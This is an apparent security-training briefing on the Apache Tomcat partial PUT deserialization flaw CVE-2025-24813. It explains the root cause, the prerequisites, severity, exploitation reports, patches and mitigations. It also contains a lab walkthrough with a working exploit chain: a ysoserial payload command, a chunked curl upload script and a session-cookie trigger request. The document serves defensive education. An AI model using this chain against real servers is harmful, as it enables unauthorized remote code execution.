Advanced

Remote Code Execution in Apache Tomcat: What You Should Know

CVE-2025-24813 is a Critical (CVSS 9.8), unauthenticated, remotely exploitable vulnerability in Apache Tomcat, driven by insufficient file name normalization during partial PUT request ha...

Table of Contents

Module 1: The Apache Tomcat Partial PUT Remote Code Execution Vulnerability (CVE-2025-24813)

Apache Tomcat Background and Prevalence

Apache Tomcat is an open-source web server and servlet container. It provides a platform for running Java-based web applications, handling tasks such as serving web pages, processing HTTP requests, and executing Java servlets and JSPs (JavaServer Pages) behind the scenes.

Tomcat has been in widespread use for a long time and is trusted in both enterprise and smaller environments. It can be found powering everything from internal business applications to large-scale, public-facing systems, and it is especially popular in environments where Java is the dominant technology stack. It is frequently bundled into third-party software packages or embedded in custom-built applications.

Because Tomcat is lightweight, easy to configure, and flexible, it ends up deployed in a very wide variety of places. This ubiquity is precisely why a vulnerability of this kind carries such broad potential impact — any organization running an out-of-date instance is potentially exposed.

This disclosure is part of a broader 2025 trend of significant vulnerabilities surfacing in widely used web application platforms, echoing the surge of edge-device vulnerabilities seen throughout 2024.

mindmap
  root((Apache Tomcat))
    Role
      Open-source web server
      Servlet container
      Runs Java web apps
      Serves pages / processes requests
      Executes Servlets and JSPs
    Deployment Contexts
      Enterprise environments
      Small/internal business apps
      Large public-facing systems
      Bundled inside third-party software
      Custom-built Java applications
    Why It Matters
      Lightweight and flexible
      Easy to configure
      Very widely deployed
      Broad exposure when vulnerable

High-Level Overview of the Flaw

CVE-2025-24813 centers on how Tomcat handles certain types of uploaded files. At a high level, the issue comes down to Tomcat not being strict enough when processing file names.

Because of this insufficient validation, an attacker can upload a file in a way that tricks the server into treating it as something other than a harmless file — for example, causing it to be interpreted as executable content. Once that happens, the server can end up running code that it should never have executed.

The underlying root cause is a classic security anti-pattern: too much trust placed in user-supplied input, combined with insufficient guardrails around file upload handling. An application making assumptions about the safety of externally supplied data is a recurring theme behind many serious vulnerabilities, and this case is no exception.

Root Cause Mechanics: Partial PUT Requests and File Path Confusion

The vulnerability revolves around how Tomcat handles file paths during partial PUT requests — HTTP requests where a client uploads only part of a file at a time rather than sending the whole file in a single request.

In certain configurations — specifically when Tomcat’s default servlet is configured to allow PUT requests (i.e., to write files) — it becomes possible to upload a file with a name such as filename.name (a name containing dots in unusual or unexpected positions). Because of the way Tomcat interprets file extensions and path structures, it can become confused about what kind of file it is actually dealing with, and where that file should ultimately be written.

The attacker’s objective is to manipulate this confusion: they upload a file to a writeable location using a file name specifically crafted to slip past Tomcat’s internal checks.

The core issue is that Tomcat does not fully normalize or sanitize file names in this particular code path. As a result, a file name that looks benign can end up being interpreted as dynamic content, or can even overwrite an existing file — which becomes especially dangerous when the server is using file-based session storage.

flowchart TD
    A[Attacker crafts file name<br/>e.g. filename.name] --> B[Partial PUT request sent<br/>to Tomcat default servlet]
    B --> C{Default servlet configured<br/>to allow write access?}
    C -->|No default: disabled| D[Request rejected<br/>Not exploitable]
    C -->|Yes explicitly enabled| E[Tomcat fails to fully<br/>normalize/sanitize file name]
    E --> F[File written to writeable location<br/>bypassing intended checks]
    F --> G[File may be interpreted as<br/>dynamic content or overwrite<br/>an existing session file]

From File Path Confusion to Session Deserialization

The file path handling issue is only the initial foothold. The actual remote code execution comes from a deserialization vulnerability that this foothold enables — making the overall issue more complex, but also considerably more dangerous.

If an attacker uploads a file that mimics the structure Tomcat uses internally for stored sessions, and Tomcat later reads and deserializes that file during normal session handling, remote code execution becomes possible provided a vulnerable “gadget” library is present on the classpath. In other words, this is not simply about uploading a rogue script — it can escalate into a full deserialization attack based on how Tomcat processes its own internally generated data.

If everything lines up correctly, an attacker can achieve remote code execution by injecting something like a JSP file, which Tomcat will then execute directly. This gives the attacker an initial foothold on the server, from which they can pursue further objectives such as data access, privilege escalation, and lateral movement within the network.

Even in cases where full code execution is not achieved, the flaw is still serious because it undermines the integrity of the server’s file system and its handling of HTTP input.

sequenceDiagram
    participant Attacker
    participant Tomcat as Tomcat Default Servlet
    participant Session as File-Based Session Store
    participant JVM as Java Deserialization Engine

    Attacker->>Tomcat: Partial PUT upload of crafted<br/>session-like file (odd file name)
    Tomcat->>Tomcat: Insufficient file name<br/>normalization/sanitization
    Tomcat->>Session: File written/interpreted as<br/>a stored session object
    Attacker->>Tomcat: Subsequent request tied to<br/>the same session
    Tomcat->>Session: Reads stored "session" file
    Session->>JVM: Deserializes attacker-controlled data
    JVM->>JVM: Vulnerable gadget chain<br/>on classpath triggers
    JVM-->>Tomcat: Arbitrary code execution<br/>(e.g. JSP injection, OS command)

Exploitation Prerequisites: The “Perfect Storm” Conditions

This is not a vulnerability that works out of the box against a clean, default Tomcat installation. Several specific conditions must all be true simultaneously, and not all of them are enabled by default:

  1. Partial PUT support — the server must support partial PUT requests. This is actually enabled by default in Tomcat, so unless it has been explicitly disabled, this condition is likely met in most deployments.
  2. Default servlet write access — Tomcat’s default servlet must be configured to allow write access. This setting is disabled by default, so someone would have to intentionally enable it, usually to support file uploads or other write operations required by the application. This alone narrows the exploitable population significantly.
  3. File-based session persistence — the application must be using Tomcat’s file-based session persistence mechanism, particularly with the default storage path. This introduces an additional layer of risk and is not uncommon in some older or internal deployments, but it is not guaranteed.
  4. A vulnerable deserialization gadget on the classpath, needed to actually achieve code execution once the malicious object is deserialized.

Because several non-default conditions must align, this is described as needing a genuine “perfect storm” of misconfiguration to become exploitable.

flowchart TD
    A[Partial PUT requests supported] -->|Enabled by default| B{Default servlet write access enabled?}
    B -->|Disabled by default: not met| X[Not exploitable]
    B -->|Explicitly enabled| C{File-based session<br/>persistence in use?}
    C -->|No| Y[Reduced/no risk]
    C -->|Yes, default storage path| D{Vulnerable deserialization<br/>gadget on classpath?}
    D -->|No| Z[Upload possible but<br/>no code execution]
    D -->|Yes| E[Perfect storm:<br/>Remote code execution possible]

CVSS Severity Breakdown: A Critical 9.8

CVE-2025-24813 is rated Critical, with a CVSS score of 9.8, placing it at the top end of the severity scale.

This score reflects that the vulnerability is remotely exploitable over the network and requires no authentication or user interaction — an attacker does not need valid credentials, nor does anyone need to be tricked into clicking a link. If a system is exposed and misconfigured according to the prerequisites above, the vulnerability can be exploited directly.

That low barrier to entry, combined with the potential for serious impact on confidentiality, integrity, and availability, is what drives the score so high. The one factor keeping it from a perfect 10 is that the scope is unchanged — the impact of the vulnerability is contained within the same security boundary/scope as the vulnerable component itself.

CVSS v3.1 MetricValueExplanation
Attack Vector (AV)Network (N)Exploitable remotely over the network
Attack Complexity (AC)Low (L)No special conditions beyond the configuration prerequisites
Privileges Required (PR)None (N)No credentials or authenticated session required
User Interaction (UI)None (N)No victim interaction needed
Scope (S)Unchanged (U)Impact contained within the vulnerable component’s own security boundary
Confidentiality (C)High (H)Full compromise of server data possible via RCE
Integrity (I)High (H)Attacker can modify files/data and execute arbitrary code
Availability (A)High (H)Server availability can be fully compromised
Overall Score9.8 (Critical)Remote, unauthenticated, no-interaction RCE

Exploitation Status: Reported Activity vs. Confirmed Compromise

Reporting on real-world exploitation of CVE-2025-24813 has varied across sources.

Several security researchers and organizations reported observing active exploitation attempts in the wild. Akamai, for instance, reported detecting initial exploit attempts shortly after the vulnerability’s disclosure, noting that attackers were probing servers to assess their susceptibility to the flaw.

However, probing activity alone does not necessarily equate to successful, active exploitation, and other researchers have supported that distinction. Rapid7, for example, indicated that despite various headlines alleging broad exploitation, they were unable to confirm any successful exploitation in real-world production environments. Rapid7 suggested that many of the reports of “exploitation” may actually reflect unsuccessful attempts rather than genuine compromises.

The overall picture at the time of this briefing is best summarized as: proof-of-concept exploit code is publicly available, probing/scanning activity has been observed, but confirmed successful real-world compromise remains unproven and contested.

flowchart TD
    A[CVE-2025-24813 disclosed] --> B[Public proof-of-concept<br/>exploit code released]
    B --> C[Akamai: reports initial<br/>exploit attempts / probing]
    B --> D[Rapid7: unable to confirm<br/>successful real-world exploitation]
    C --> E{Probing = active exploitation?}
    D --> E
    E --> F[Assessment: scanning/probing confirmed;<br/>successful compromise unconfirmed/contested]

Hands-On Exploitation Walkthrough

The following walkthrough reconstructs a lab demonstration of the exploit chain, performed against a deliberately misconfigured Tomcat instance running in a Docker container, from the perspective of an analyst investigating whether an in-scope server is vulnerable.

Step 1 — Confirm the target is running Tomcat. An nmap scan is used to verify the server is up and identify the exposed service and port.

nmap -sV -p 8080 <target-ip>

The scan confirms Apache Tomcat is running on port 8080 at the target IP address.

Step 2 — Establish a safe, low-impact test. Because this is being tested against a production-like environment, the test is designed to have minimal impact: rather than attempting a disruptive action, the exploit simply creates an empty file in the server’s temporary directory. Before running the exploit, the analyst inspects the existing contents of the Tomcat server’s temp directory (running the docker container) to confirm a baseline state, showing a single pre-existing folder.

Step 3 — Define the command to execute. A variable is created to hold the operating system command that should run once the payload is deserialized — in this case, a simple touch command to create a file called pwned:

CMD='touch /tmp/pwned'

Step 4 — Build a serialized Java payload. The ysoserial tool — a widely used security testing utility for generating serialized Java objects that exploit deserialization vulnerabilities — is used to build the payload. The CommonsBeanutils1 gadget chain is used, with the target command embedded in it:

java -jar ysoserial.jar CommonsBeanutils1 "$CMD" > payload.ser

This produces a serialized gadget chain, written out to a file (payload.ser / referred to in the demo simply as payload), that will execute the embedded command upon deserialization.

Step 5 — Upload the payload via a partial PUT. Because partial PUT uploads split content into chunks, the payload file is broken into smaller pieces — in this case, 100-byte chunks — and each chunk is uploaded sequentially using curl, specifying the PUT method along with a Content-Range header to indicate which byte range of the file is being sent:

#!/bin/bash
# Chunked partial PUT upload of a serialized payload
FILE=payload.ser
TARGET="http://<target-ip>:8080/some-writable-path/session-file.session"
CHUNK_SIZE=100
FILESIZE=$(stat -c%s "$FILE")
OFFSET=0

while [ "$OFFSET" -lt "$FILESIZE" ]; do
    END=$((OFFSET + CHUNK_SIZE - 1))
    if [ "$END" -ge "$FILESIZE" ]; then
        END=$((FILESIZE - 1))
    fi

    dd if="$FILE" bs=1 skip="$OFFSET" count=$((END - OFFSET + 1)) 2>/dev/null > chunk.bin

    curl -s -X PUT "$TARGET" \
        -H "Content-Range: bytes $OFFSET-$END/$FILESIZE" \
        --data-binary @chunk.bin

    OFFSET=$((END + 1))
done

Running this script uploads the payload chunk by chunk, with each chunk being created and uploaded in turn.

Step 6 — Trigger deserialization. With the serialized payload now stored on the server, the final step is to trigger its deserialization. This is done by making a request against the existing session created earlier (during the upload), which causes Tomcat to read and deserialize the uploaded file:

curl -s "http://<target-ip>:8080/" -H "Cookie: JSESSIONID=<session-id-used-during-upload>"

Step 7 — Confirm code execution. Checking the server’s temp directory afterward confirms that the touch command executed successfully, with a new empty file named pwned now present.

In summary: with just a handful of commands, the analyst created a serialized Java payload, uploaded it to the Tomcat server via a partial PUT request, and triggered its deserialization to execute an arbitrary command. While an empty file was used here for a safe demonstration, an attacker could substitute far more damaging payloads — such as a reverse shell that calls back to a listener under their control.

sequenceDiagram
    participant Analyst as Analyst / Attacker
    participant Nmap
    participant Tomcat
    participant Temp as Tomcat Temp Directory

    Analyst->>Nmap: nmap -sV -p 8080 target
    Nmap-->>Analyst: Confirms Tomcat running on 8080
    Analyst->>Temp: Baseline check of temp directory contents
    Analyst->>Analyst: Build ysoserial CommonsBeanutils1<br/>payload embedding "touch pwned"
    Analyst->>Tomcat: Partial PUT upload of payload<br/>(chunked via curl, Content-Range header)
    Tomcat->>Tomcat: Payload stored as<br/>session-like file
    Analyst->>Tomcat: Request against existing session<br/>triggers deserialization
    Tomcat->>Tomcat: Vulnerable gadget chain executes<br/>embedded command
    Tomcat->>Temp: Creates file "pwned"
    Analyst->>Temp: Confirms "pwned" file exists

Affected Versions and Patch Availability

This vulnerability affects a broad range of Tomcat releases that remain in active use. Specifically, it impacts versions across the 8.x, 9.x, 10.x, and 11.x release lines.

The Apache Tomcat team moved quickly on this issue, and patches have been released for all in-support affected versions. Organizations running Tomcat should upgrade to the latest available version within their major release line to be protected.

It is worth noting that Tomcat 8 — which reached end of life in March 2024 — along with Tomcat 9, remain widely deployed, particularly in enterprise environments. This is not a vulnerability confined to bleeding-edge deployments; it can realistically be found affecting real-world production systems still running older, and in some cases unsupported, release lines.

Release LineAffectedSupport StatusRecommended Action
Tomcat 8.xYesEnd of life (March 2024)Upgrade to a supported, patched release line
Tomcat 9.xYesIn support (patched)Upgrade to the latest patched 9.x release
Tomcat 10.xYesIn support (patched)Upgrade to the latest patched 10.x release
Tomcat 11.xYesIn support (patched)Upgrade to the latest patched 11.x release

Mitigation and Hardening Guidance

While upgrading to a patched version is the best and most complete remediation, organizations that cannot patch immediately — or that are running an unsupported version — have several solid mitigation options to reduce exposure in the interim:

  • Disable partial PUT requests. Specifically, block or disable HTTP PUT requests that include a Content-Range header, especially for the default servlet. These request types are not typically required for most web applications — particularly since HTTP PATCH exists to serve the same general purpose — and they are central to how this vulnerability is exploited. Disabling them cuts off the primary attack path.
  • Tightly control write access to the web root. If Tomcat is able to write files into locations from which they can be executed (such as under the webapps folder), that creates a direct path to remote code execution. Locking down write permissions to these locations is an important hardening step.
  • Monitor for suspicious upload activity or unexpected file changes. This is particularly important for any server with public-facing upload functionality or exposed developer/debugging tooling enabled.
flowchart TD
    A[Cannot patch immediately<br/>or running unsupported version] --> B[Disable partial PUT / Content-Range<br/>on the default servlet]
    A --> C[Restrict write access<br/>to the web root / webapps folder]
    A --> D[Monitor for suspicious uploads<br/>and unexpected file changes]
    B --> E[Primary attack path blocked]
    C --> E
    D --> F[Early detection of<br/>exploitation attempts]
    E --> G[Reduced risk while<br/>patch is scheduled]
    F --> G
MitigationWhat It AddressesNotes
Patch/upgrade TomcatRoot cause (file handling + deserialization)Best and most complete remediation
Disable partial PUT / Content-Range on default servletPrimary exploitation vectorHTTP PATCH can serve legitimate partial-update use cases instead
Restrict write access to web root/webappsAbility to place executable content on diskPrevents uploaded content from being served/executed
Monitor uploads and file system changesDetection of exploitation attemptsEspecially important where public upload functionality exists

Summary

CVE-2025-24813 is a Critical (CVSS 9.8), unauthenticated, remotely exploitable vulnerability in Apache Tomcat, driven by insufficient file name normalization during partial PUT request handling. Under a specific set of conditions — partial PUT support (enabled by default), default servlet write access (disabled by default, but sometimes intentionally enabled), and file-based session persistence — an attacker can plant a specially crafted file that is later deserialized by Tomcat’s own session handling logic. If a vulnerable deserialization gadget chain is present on the classpath, this results in full remote code execution, as demonstrated in the lab walkthrough using ysoserial’s CommonsBeanutils1 gadget chain, a chunked partial PUT upload via curl, and a session-triggering request.

While reports of in-the-wild scanning and probing activity are credible, confirmed successful exploitation in production environments remains contested among researchers. Regardless, given the low barrier to entry (no authentication, no user interaction) and the broad range of affected versions (Tomcat 8.x through 11.x), organizations should treat this as a high-priority item.

Mitigation Checklist

  • Identify all Tomcat instances in your environment and their exact version numbers.
  • Upgrade any affected Tomcat 8.x/9.x/10.x/11.x instance to the latest patched release in its major line.
  • Prioritize upgrading unsupported Tomcat 8.x instances, since no further vendor patches will be issued for that line.
  • If immediate patching is not possible, disable partial PUT requests (block PUT requests carrying a Content-Range header) on the default servlet.
  • Verify the default servlet’s write access setting and disable it unless explicitly required.
  • Restrict write access to the web root/webapps directory so uploaded files cannot be placed in executable locations.
  • Review whether file-based session persistence is in use and assess whether it is necessary.
  • Monitor logs for suspicious upload activity, unexpected file creation, or partial PUT/Content-Range requests.
  • Confirm no unexpected files (e.g., unexplained session files or JSPs) exist in writeable directories.
  • Track vendor and researcher advisories for updates on confirmed exploitation activity.

Search Terms

remote · execution · apache · tomcat · know · vulnerability · briefings · networking · systems · security · exploitation · confusion · mitigation · partial · path · put

More Vulnerability Briefings courses

View all 30

Interested in this course?

Contact us to book it or get a custom training plan for your team.